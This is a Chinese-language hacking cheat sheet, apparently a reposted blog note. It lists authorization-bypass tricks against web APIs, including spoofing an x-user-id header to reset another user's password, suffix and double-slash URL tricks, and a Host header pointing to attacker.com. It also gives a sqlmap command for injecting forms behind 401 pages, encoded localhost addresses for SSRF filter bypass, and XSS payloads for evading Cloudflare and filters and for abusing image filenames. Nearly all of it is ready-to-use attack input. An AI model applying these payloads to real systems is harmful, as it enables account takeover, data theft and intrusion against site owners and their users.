1.利用 x-user-id
正常访问: GET /api/users/1337 –>401客户端错误
越权访问: GET /api/users/ x-user-id: 1337 –>200 Ok
利用方式: POST /api/users/自己id值/password-reset x-user-id: 别人id值
password-reset: 密码重置
原理: x-user-id可以让服务器读取这个特定的标头的值,由此使用内部变量来进行身份验证从而达到越权效果
2.id后面加.json
request:GET /api/users/1337.json
response:200 success
3.url加双斜杠
正常访问: /api/6798556007/users –> 403
越权访问: /api/6798556007//users –> 200 OK
4.请求包加https
正常访问:
Request:POST /user/password-reset/ HTTP 1.1Host :http://attacker.com
Response:
403 , 404 : False
越权访问:
Request:POST /http://user/password-reset/ HTTP 1.1
Host :http://attacker.com
Response:
200 , 302 : Success
password-reset: 密码重置
5.构造新的url
正常访问: Target/signup.php –> 401客户端错误
越权访问: Target/index.php?page=signup –> 200 OK
SQL注入
sqlmap -u http://xxxx.com --forms --crawl=2 --dbs --ignore-code=401
--forms 在目标URL上解析和测试表单
--crawl=2 从起始位置爬取的深度,这里为2
--dbs 获取数据库
--ignore-code=401 无视http状态码,这里无视401状态
原理: 当我们正常访问页面状态码提示401的时候只是说明没有访问权限而不是404不存在页面,所以此时我们可以使用sqlmap的爬虫功能爬出来这个页面上的表单进行注入测试
SSRF绕过
http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01
XSS绕过cloudflare
Payload:
<svg onload=alert(document.cookie)>
XSS绕过过滤
Payload:
"/><svg+svg+svg//On+OnLoAd=confirm(1)>
XSS(上传图片)
<img src=x onerror=alert('XSS')>.png ">
<svg onmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
遇到可以上传图片并且可以自定义文件名的时候可以试试,这样上传以后当我们访问这个图片的时候有可能就会触发xss了
原文地址:http://www.yuque.com/besilent/null/rhzaz3s7f5yyz3ui










请登录后查看评论内容